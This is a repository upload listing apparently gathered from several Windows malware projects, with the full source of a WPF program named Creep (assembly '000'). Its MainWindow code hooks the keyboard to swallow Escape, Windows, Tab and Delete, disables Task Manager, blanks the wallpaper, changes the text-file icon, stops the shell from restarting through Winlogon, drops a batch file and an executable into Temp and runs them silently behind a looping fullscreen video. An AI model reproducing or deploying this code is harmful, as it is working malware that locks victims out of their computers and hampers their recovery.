Add files using upload-large-folder tool
Browse filesThis view is limited to 50 files because it contains too many changes. See raw diff
- src/000exe-master/Creep/App.config +6 -0
- src/000exe-master/Creep/App.xaml +9 -0
- src/000exe-master/Creep/App.xaml.cs +17 -0
- src/000exe-master/Creep/Creep.csproj +153 -0
- src/000exe-master/Creep/MainWindow.xaml +16 -0
- src/000exe-master/Creep/MainWindow.xaml.cs +96 -0
- src/000exe-master/Creep/Properties/AssemblyInfo.cs +55 -0
- src/000exe-master/Creep/Properties/Resources.Designer.cs +133 -0
- src/000exe-master/Creep/Properties/Resources.resx +142 -0
- src/000exe-master/Creep/Properties/Settings.Designer.cs +26 -0
- src/000exe-master/Creep/Properties/Settings.settings +7 -0
- src/000exe-master/Creep/Resources/000 +0 -0
- src/000exe-master/Creep/Resources/one +0 -0
- src/000exe-master/Creep/Resources/subox +0 -0
- src/000exe-master/Creep/Resources/txt +44 -0
- src/000exe-master/Creep/Resources/windl +19 -0
- src/000exe-master/Creep/app.manifest +76 -0
- src/4-main/RIP EYE/RIP EYE.sln +25 -0
- src/4-main/RIP EYE/RIP EYE/App.config +6 -0
- src/4-main/RIP EYE/RIP EYE/Program.cs +133 -0
- src/4-main/RIP EYE/RIP EYE/Properties/AssemblyInfo.cs +36 -0
- src/4-main/RIP EYE/RIP EYE/RIP EYE.csproj +53 -0
- src/4-main/RIP EYE/RIP EYE/bin/Debug/RIP EYE.exe.config +6 -0
- src/4-main/RIP EYE/RIP EYE/bin/Debug/RIP EYE.pdb +0 -0
- src/4-main/RIP EYE/RIP EYE/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache +0 -0
- src/4-main/RIP EYE/RIP EYE/obj/Debug/RIP EYE.csproj.AssemblyReference.cache +0 -0
- src/4-main/RIP EYE/RIP EYE/obj/Debug/RIP EYE.csproj.CoreCompileInputs.cache +1 -0
- src/4-main/RIP EYE/RIP EYE/obj/Debug/RIP EYE.csproj.FileListAbsolute.txt +7 -0
- src/4-main/RIP EYE/RIP EYE/obj/Debug/RIP EYE.pdb +0 -0
- src/GDI-Worm.Win32.Purgatorium-main/Source/Bytebeats.h +511 -0
- src/GDI-Worm.Win32.Purgatorium-main/Source/Colors.h +79 -0
- src/GDI-Worm.Win32.Purgatorium-main/Source/Math.h +108 -0
- src/GDI-Worm.Win32.Purgatorium-main/Source/Purgatorium.h +24 -0
- src/GDI-Worm.Win32.Purgatorium-main/Source/main.cpp +273 -0
- src/Gdi-in-c--main/CUBO/CUBO/App.config +6 -0
- src/Gdi-in-c--main/CUBO/CUBO/CUBO.csproj +57 -0
- src/Gdi-in-c--main/CUBO/CUBO/Program.cs +52 -0
- src/Gdi-in-c--main/CUBO/CUBO/Properties/AssemblyInfo.cs +36 -0
- src/Gdi-in-c--main/CUBO/CUBO/bin/Debug/CUBO.exe.config +6 -0
- src/Gdi-in-c--main/CUBO/CUBO/bin/Debug/CUBO.pdb +0 -0
- src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.csproj.AssemblyReference.cache +0 -0
- src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.csproj.CoreCompileInputs.cache +1 -0
- src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.csproj.FileListAbsolute.txt +7 -0
- src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.exe +0 -0
- src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.pdb +0 -0
- src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache +0 -0
- src/Gdi-in-c--main/ConsoleApp6/ConsoleApp6/bin/Debug/ConsoleApp6.exe.config +6 -0
- src/Gdi-in-c--main/ConsoleApp6/ConsoleApp6/bin/Debug/ConsoleApp6.pdb +0 -0
- src/Gdi-in-c--main/ConsoleApp6/ConsoleApp6/obj/Debug/ConsoleApp6.csproj.CoreCompileInputs.cache +1 -0
- src/Gdi-in-c--main/ConsoleApp6/ConsoleApp6/obj/Debug/ConsoleApp6.exe +0 -0
src/000exe-master/Creep/App.config
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8" ?>
|
| 2 |
+
<configuration>
|
| 3 |
+
<startup>
|
| 4 |
+
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
|
| 5 |
+
</startup>
|
| 6 |
+
</configuration>
|
src/000exe-master/Creep/App.xaml
ADDED
|
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<Application x:Class="Creep.App"
|
| 2 |
+
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
|
| 3 |
+
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
|
| 4 |
+
xmlns:local="clr-namespace:Creep"
|
| 5 |
+
StartupUri="MainWindow.xaml">
|
| 6 |
+
<Application.Resources>
|
| 7 |
+
|
| 8 |
+
</Application.Resources>
|
| 9 |
+
</Application>
|
src/000exe-master/Creep/App.xaml.cs
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
using System;
|
| 2 |
+
using System.Collections.Generic;
|
| 3 |
+
using System.Configuration;
|
| 4 |
+
using System.Data;
|
| 5 |
+
using System.Linq;
|
| 6 |
+
using System.Threading.Tasks;
|
| 7 |
+
using System.Windows;
|
| 8 |
+
|
| 9 |
+
namespace Creep
|
| 10 |
+
{
|
| 11 |
+
/// <summary>
|
| 12 |
+
/// Interaction logic for App.xaml
|
| 13 |
+
/// </summary>
|
| 14 |
+
public partial class App : Application
|
| 15 |
+
{
|
| 16 |
+
}
|
| 17 |
+
}
|
src/000exe-master/Creep/Creep.csproj
ADDED
|
@@ -0,0 +1,153 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
| 3 |
+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
| 4 |
+
<PropertyGroup>
|
| 5 |
+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
| 6 |
+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
| 7 |
+
<ProjectGuid>{CBB95BCC-1B98-4143-8A5C-4D28D6CDE301}</ProjectGuid>
|
| 8 |
+
<OutputType>WinExe</OutputType>
|
| 9 |
+
<AppDesignerFolder>Properties</AppDesignerFolder>
|
| 10 |
+
<RootNamespace>Creep</RootNamespace>
|
| 11 |
+
<AssemblyName>000</AssemblyName>
|
| 12 |
+
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
|
| 13 |
+
<FileAlignment>512</FileAlignment>
|
| 14 |
+
<ProjectTypeGuids>{60dc8134-eba5-43b8-bcc9-bb4bc16c2548};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>
|
| 15 |
+
<WarningLevel>4</WarningLevel>
|
| 16 |
+
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
| 17 |
+
<PublishUrl>publish\</PublishUrl>
|
| 18 |
+
<Install>true</Install>
|
| 19 |
+
<InstallFrom>Disk</InstallFrom>
|
| 20 |
+
<UpdateEnabled>false</UpdateEnabled>
|
| 21 |
+
<UpdateMode>Foreground</UpdateMode>
|
| 22 |
+
<UpdateInterval>7</UpdateInterval>
|
| 23 |
+
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
| 24 |
+
<UpdatePeriodically>false</UpdatePeriodically>
|
| 25 |
+
<UpdateRequired>false</UpdateRequired>
|
| 26 |
+
<MapFileExtensions>true</MapFileExtensions>
|
| 27 |
+
<ApplicationRevision>0</ApplicationRevision>
|
| 28 |
+
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
| 29 |
+
<IsWebBootstrapper>false</IsWebBootstrapper>
|
| 30 |
+
<UseApplicationTrust>false</UseApplicationTrust>
|
| 31 |
+
<BootstrapperEnabled>true</BootstrapperEnabled>
|
| 32 |
+
</PropertyGroup>
|
| 33 |
+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
| 34 |
+
<PlatformTarget>AnyCPU</PlatformTarget>
|
| 35 |
+
<DebugSymbols>true</DebugSymbols>
|
| 36 |
+
<DebugType>full</DebugType>
|
| 37 |
+
<Optimize>false</Optimize>
|
| 38 |
+
<OutputPath>bin\Debug\</OutputPath>
|
| 39 |
+
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
| 40 |
+
<ErrorReport>prompt</ErrorReport>
|
| 41 |
+
<WarningLevel>4</WarningLevel>
|
| 42 |
+
</PropertyGroup>
|
| 43 |
+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
| 44 |
+
<PlatformTarget>AnyCPU</PlatformTarget>
|
| 45 |
+
<DebugType>pdbonly</DebugType>
|
| 46 |
+
<Optimize>true</Optimize>
|
| 47 |
+
<OutputPath>bin\Release\</OutputPath>
|
| 48 |
+
<DefineConstants>TRACE</DefineConstants>
|
| 49 |
+
<ErrorReport>prompt</ErrorReport>
|
| 50 |
+
<WarningLevel>4</WarningLevel>
|
| 51 |
+
</PropertyGroup>
|
| 52 |
+
<PropertyGroup />
|
| 53 |
+
<PropertyGroup>
|
| 54 |
+
<ApplicationManifest>app.manifest</ApplicationManifest>
|
| 55 |
+
</PropertyGroup>
|
| 56 |
+
<ItemGroup>
|
| 57 |
+
<Reference Include="System" />
|
| 58 |
+
<Reference Include="System.Data" />
|
| 59 |
+
<Reference Include="System.Drawing" />
|
| 60 |
+
<Reference Include="System.Windows.Forms" />
|
| 61 |
+
<Reference Include="System.Xml" />
|
| 62 |
+
<Reference Include="Microsoft.CSharp" />
|
| 63 |
+
<Reference Include="System.Core" />
|
| 64 |
+
<Reference Include="System.Xml.Linq" />
|
| 65 |
+
<Reference Include="System.Data.DataSetExtensions" />
|
| 66 |
+
<Reference Include="System.Net.Http" />
|
| 67 |
+
<Reference Include="System.Xaml">
|
| 68 |
+
<RequiredTargetFramework>4.0</RequiredTargetFramework>
|
| 69 |
+
</Reference>
|
| 70 |
+
<Reference Include="WindowsBase" />
|
| 71 |
+
<Reference Include="PresentationCore" />
|
| 72 |
+
<Reference Include="PresentationFramework" />
|
| 73 |
+
</ItemGroup>
|
| 74 |
+
<ItemGroup>
|
| 75 |
+
<ApplicationDefinition Include="App.xaml">
|
| 76 |
+
<Generator>MSBuild:Compile</Generator>
|
| 77 |
+
<SubType>Designer</SubType>
|
| 78 |
+
</ApplicationDefinition>
|
| 79 |
+
<Page Include="MainWindow.xaml">
|
| 80 |
+
<Generator>MSBuild:Compile</Generator>
|
| 81 |
+
<SubType>Designer</SubType>
|
| 82 |
+
</Page>
|
| 83 |
+
<Compile Include="App.xaml.cs">
|
| 84 |
+
<DependentUpon>App.xaml</DependentUpon>
|
| 85 |
+
<SubType>Code</SubType>
|
| 86 |
+
</Compile>
|
| 87 |
+
<Compile Include="GlobalKeyboardHook.cs" />
|
| 88 |
+
<Compile Include="MainWindow.xaml.cs">
|
| 89 |
+
<DependentUpon>MainWindow.xaml</DependentUpon>
|
| 90 |
+
<SubType>Code</SubType>
|
| 91 |
+
</Compile>
|
| 92 |
+
</ItemGroup>
|
| 93 |
+
<ItemGroup>
|
| 94 |
+
<Compile Include="Properties\AssemblyInfo.cs">
|
| 95 |
+
<SubType>Code</SubType>
|
| 96 |
+
</Compile>
|
| 97 |
+
<Compile Include="Properties\Resources.Designer.cs">
|
| 98 |
+
<AutoGen>True</AutoGen>
|
| 99 |
+
<DesignTime>True</DesignTime>
|
| 100 |
+
<DependentUpon>Resources.resx</DependentUpon>
|
| 101 |
+
</Compile>
|
| 102 |
+
<Compile Include="Properties\Settings.Designer.cs">
|
| 103 |
+
<AutoGen>True</AutoGen>
|
| 104 |
+
<DependentUpon>Settings.settings</DependentUpon>
|
| 105 |
+
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
| 106 |
+
</Compile>
|
| 107 |
+
<EmbeddedResource Include="Properties\Resources.resx">
|
| 108 |
+
<Generator>ResXFileCodeGenerator</Generator>
|
| 109 |
+
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
| 110 |
+
</EmbeddedResource>
|
| 111 |
+
<None Include="app.manifest" />
|
| 112 |
+
<None Include="Properties\Settings.settings">
|
| 113 |
+
<Generator>SettingsSingleFileGenerator</Generator>
|
| 114 |
+
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
| 115 |
+
</None>
|
| 116 |
+
<AppDesigner Include="Properties\" />
|
| 117 |
+
<None Include="Resources\000" />
|
| 118 |
+
<None Include="Resources\one" />
|
| 119 |
+
<None Include="Resources\subox" />
|
| 120 |
+
<None Include="Resources\texticon" />
|
| 121 |
+
<None Include="Resources\txt" />
|
| 122 |
+
<None Include="Resources\windl" />
|
| 123 |
+
</ItemGroup>
|
| 124 |
+
<ItemGroup>
|
| 125 |
+
<None Include="App.config" />
|
| 126 |
+
</ItemGroup>
|
| 127 |
+
<ItemGroup>
|
| 128 |
+
<WCFMetadata Include="Service References\" />
|
| 129 |
+
</ItemGroup>
|
| 130 |
+
<ItemGroup>
|
| 131 |
+
<BootstrapperPackage Include=".NETFramework,Version=v4.5.2">
|
| 132 |
+
<Visible>False</Visible>
|
| 133 |
+
<ProductName>Microsoft .NET Framework 4.5.2 %28x86 and x64%29</ProductName>
|
| 134 |
+
<Install>true</Install>
|
| 135 |
+
</BootstrapperPackage>
|
| 136 |
+
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
| 137 |
+
<Visible>False</Visible>
|
| 138 |
+
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
| 139 |
+
<Install>false</Install>
|
| 140 |
+
</BootstrapperPackage>
|
| 141 |
+
</ItemGroup>
|
| 142 |
+
<ItemGroup>
|
| 143 |
+
<None Include="Resources\street.mp4" />
|
| 144 |
+
</ItemGroup>
|
| 145 |
+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
| 146 |
+
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
| 147 |
+
Other similar extension points exist, see Microsoft.Common.targets.
|
| 148 |
+
<Target Name="BeforeBuild">
|
| 149 |
+
</Target>
|
| 150 |
+
<Target Name="AfterBuild">
|
| 151 |
+
</Target>
|
| 152 |
+
-->
|
| 153 |
+
</Project>
|
src/000exe-master/Creep/MainWindow.xaml
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<Window x:Class="Creep.MainWindow"
|
| 2 |
+
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
|
| 3 |
+
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
|
| 4 |
+
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
|
| 5 |
+
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
|
| 6 |
+
xmlns:local="clr-namespace:Creep"
|
| 7 |
+
mc:Ignorable="d"
|
| 8 |
+
WindowStyle="None" WindowState="Maximized" WindowStartupLocation="CenterScreen"
|
| 9 |
+
x:Name="main"
|
| 10 |
+
|
| 11 |
+
PreviewKeyDown="main_PreviewKeyDown"
|
| 12 |
+
Title="MainWindow">
|
| 13 |
+
<Grid>
|
| 14 |
+
<MediaElement x:Name="video" Loaded="video_Loaded" MediaEnded="MediaElement_MediaEnded" />
|
| 15 |
+
</Grid>
|
| 16 |
+
</Window>
|
src/000exe-master/Creep/MainWindow.xaml.cs
ADDED
|
@@ -0,0 +1,96 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
using Microsoft.Win32;
|
| 2 |
+
using System;
|
| 3 |
+
using System.Diagnostics;
|
| 4 |
+
using System.Windows;
|
| 5 |
+
using System.Windows.Controls;
|
| 6 |
+
using System.Windows.Forms;
|
| 7 |
+
using Utilities;
|
| 8 |
+
|
| 9 |
+
namespace Creep
|
| 10 |
+
{
|
| 11 |
+
|
| 12 |
+
/// <summary>
|
| 13 |
+
/// Interaction logic for MainWindow.xaml
|
| 14 |
+
/// </summary>
|
| 15 |
+
public partial class MainWindow : Window
|
| 16 |
+
{
|
| 17 |
+
GlobalKeyboardHook gkh;
|
| 18 |
+
|
| 19 |
+
public MainWindow()
|
| 20 |
+
{
|
| 21 |
+
Console.WriteLine("beginning!");
|
| 22 |
+
|
| 23 |
+
gkh = new GlobalKeyboardHook();
|
| 24 |
+
gkh.HookedKeys.Add(Keys.Escape);
|
| 25 |
+
gkh.HookedKeys.Add(Keys.LWin);
|
| 26 |
+
gkh.HookedKeys.Add(Keys.RWin);
|
| 27 |
+
gkh.HookedKeys.Add(Keys.Tab);
|
| 28 |
+
gkh.HookedKeys.Add(Keys.Delete);
|
| 29 |
+
|
| 30 |
+
gkh.KeyDown += new KeyEventHandler(handleKey);
|
| 31 |
+
gkh.hook();
|
| 32 |
+
|
| 33 |
+
WorkWorkWorkWork();
|
| 34 |
+
|
| 35 |
+
InitializeComponent();
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
private void handleKey(object sender, KeyEventArgs e)
|
| 39 |
+
{
|
| 40 |
+
e.Handled = true;
|
| 41 |
+
}
|
| 42 |
+
|
| 43 |
+
private void main_PreviewKeyDown(object sender, System.Windows.Input.KeyEventArgs e)
|
| 44 |
+
{
|
| 45 |
+
e.Handled = true;
|
| 46 |
+
}
|
| 47 |
+
|
| 48 |
+
public void WorkWorkWorkWork()
|
| 49 |
+
{
|
| 50 |
+
string temp = System.IO.Path.GetTempPath();
|
| 51 |
+
System.IO.File.WriteAllBytes(temp + "icon.ico", Properties.Resources.texticon);
|
| 52 |
+
|
| 53 |
+
RegistryKey editKey;
|
| 54 |
+
|
| 55 |
+
editKey = Registry.ClassesRoot.CreateSubKey(@"txtfile\DefaultIcon");
|
| 56 |
+
editKey.SetValue("", temp + "icon.ico");
|
| 57 |
+
editKey.Close();
|
| 58 |
+
|
| 59 |
+
editKey = Registry.CurrentUser.CreateSubKey(@"Control Panel\Desktop");
|
| 60 |
+
editKey.SetValue("Wallpaper", "");
|
| 61 |
+
editKey.Close();
|
| 62 |
+
|
| 63 |
+
editKey = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System");
|
| 64 |
+
editKey.SetValue("DisableTaskMgr", "1");
|
| 65 |
+
editKey.Close();
|
| 66 |
+
|
| 67 |
+
editKey = Registry.LocalMachine.CreateSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Winlogon");
|
| 68 |
+
editKey.SetValue("AutoRestartShell", "0", RegistryValueKind.DWord);
|
| 69 |
+
editKey.Close();
|
| 70 |
+
|
| 71 |
+
System.IO.File.WriteAllBytes(temp + "text.txt", Properties.Resources.txt);
|
| 72 |
+
System.IO.File.WriteAllBytes(temp + "windl.bat", Properties.Resources.windl);
|
| 73 |
+
System.IO.File.WriteAllBytes(temp + "one.rtf", Properties.Resources.one);
|
| 74 |
+
System.IO.File.WriteAllBytes(temp + "rniw.exe", Properties.Resources.subox);
|
| 75 |
+
|
| 76 |
+
ProcessStartInfo psi = new ProcessStartInfo(temp + "windl.bat");
|
| 77 |
+
psi.CreateNoWindow = true;
|
| 78 |
+
psi.UseShellExecute = false;
|
| 79 |
+
Process.Start(psi);
|
| 80 |
+
}
|
| 81 |
+
|
| 82 |
+
private void MediaElement_MediaEnded(object sender, RoutedEventArgs e)
|
| 83 |
+
{
|
| 84 |
+
MediaElement i = sender as MediaElement;
|
| 85 |
+
i.Position = TimeSpan.FromMilliseconds(1);
|
| 86 |
+
}
|
| 87 |
+
|
| 88 |
+
private void video_Loaded(object sender, RoutedEventArgs e)
|
| 89 |
+
{
|
| 90 |
+
string videopath = System.IO.Path.GetTempPath() + "v.mp4";
|
| 91 |
+
System.IO.File.WriteAllBytes(videopath, Properties.Resources.street);
|
| 92 |
+
|
| 93 |
+
video.Source = new Uri(videopath);
|
| 94 |
+
}
|
| 95 |
+
}
|
| 96 |
+
}
|
src/000exe-master/Creep/Properties/AssemblyInfo.cs
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
using System.Reflection;
|
| 2 |
+
using System.Resources;
|
| 3 |
+
using System.Runtime.CompilerServices;
|
| 4 |
+
using System.Runtime.InteropServices;
|
| 5 |
+
using System.Windows;
|
| 6 |
+
|
| 7 |
+
// General Information about an assembly is controlled through the following
|
| 8 |
+
// set of attributes. Change these attribute values to modify the information
|
| 9 |
+
// associated with an assembly.
|
| 10 |
+
[assembly: AssemblyTitle("000")]
|
| 11 |
+
[assembly: AssemblyDescription("")]
|
| 12 |
+
[assembly: AssemblyConfiguration("")]
|
| 13 |
+
[assembly: AssemblyCompany("")]
|
| 14 |
+
[assembly: AssemblyProduct("000")]
|
| 15 |
+
[assembly: AssemblyCopyright("")]
|
| 16 |
+
[assembly: AssemblyTrademark("")]
|
| 17 |
+
[assembly: AssemblyCulture("")]
|
| 18 |
+
|
| 19 |
+
// Setting ComVisible to false makes the types in this assembly not visible
|
| 20 |
+
// to COM components. If you need to access a type in this assembly from
|
| 21 |
+
// COM, set the ComVisible attribute to true on that type.
|
| 22 |
+
[assembly: ComVisible(true)]
|
| 23 |
+
|
| 24 |
+
//In order to begin building localizable applications, set
|
| 25 |
+
//<UICulture>CultureYouAreCodingWith</UICulture> in your .csproj file
|
| 26 |
+
//inside a <PropertyGroup>. For example, if you are using US english
|
| 27 |
+
//in your source files, set the <UICulture> to en-US. Then uncomment
|
| 28 |
+
//the NeutralResourceLanguage attribute below. Update the "en-US" in
|
| 29 |
+
//the line below to match the UICulture setting in the project file.
|
| 30 |
+
|
| 31 |
+
//[assembly: NeutralResourcesLanguage("en-US", UltimateResourceFallbackLocation.Satellite)]
|
| 32 |
+
|
| 33 |
+
|
| 34 |
+
[assembly: ThemeInfo(
|
| 35 |
+
ResourceDictionaryLocation.None, //where theme specific resource dictionaries are located
|
| 36 |
+
//(used if a resource is not found in the page,
|
| 37 |
+
// or application resource dictionaries)
|
| 38 |
+
ResourceDictionaryLocation.SourceAssembly //where the generic resource dictionary is located
|
| 39 |
+
//(used if a resource is not found in the page,
|
| 40 |
+
// app, or any theme specific resource dictionaries)
|
| 41 |
+
)]
|
| 42 |
+
|
| 43 |
+
|
| 44 |
+
// Version information for an assembly consists of the following four values:
|
| 45 |
+
//
|
| 46 |
+
// Major Version
|
| 47 |
+
// Minor Version
|
| 48 |
+
// Build Number
|
| 49 |
+
// Revision
|
| 50 |
+
//
|
| 51 |
+
// You can specify all the values or you can default the Build and Revision Numbers
|
| 52 |
+
// by using the '*' as shown below:
|
| 53 |
+
// [assembly: AssemblyVersion("1.0.*")]
|
| 54 |
+
[assembly: AssemblyVersion("0.0.0.0")]
|
| 55 |
+
[assembly: AssemblyFileVersion("0.0.0.0")]
|
src/000exe-master/Creep/Properties/Resources.Designer.cs
ADDED
|
@@ -0,0 +1,133 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//------------------------------------------------------------------------------
|
| 2 |
+
// <auto-generated>
|
| 3 |
+
// This code was generated by a tool.
|
| 4 |
+
// Runtime Version:4.0.30319.42000
|
| 5 |
+
//
|
| 6 |
+
// Changes to this file may cause incorrect behavior and will be lost if
|
| 7 |
+
// the code is regenerated.
|
| 8 |
+
// </auto-generated>
|
| 9 |
+
//------------------------------------------------------------------------------
|
| 10 |
+
|
| 11 |
+
namespace Creep.Properties {
|
| 12 |
+
using System;
|
| 13 |
+
|
| 14 |
+
|
| 15 |
+
/// <summary>
|
| 16 |
+
/// A strongly-typed resource class, for looking up localized strings, etc.
|
| 17 |
+
/// </summary>
|
| 18 |
+
// This class was auto-generated by the StronglyTypedResourceBuilder
|
| 19 |
+
// class via a tool like ResGen or Visual Studio.
|
| 20 |
+
// To add or remove a member, edit your .ResX file then rerun ResGen
|
| 21 |
+
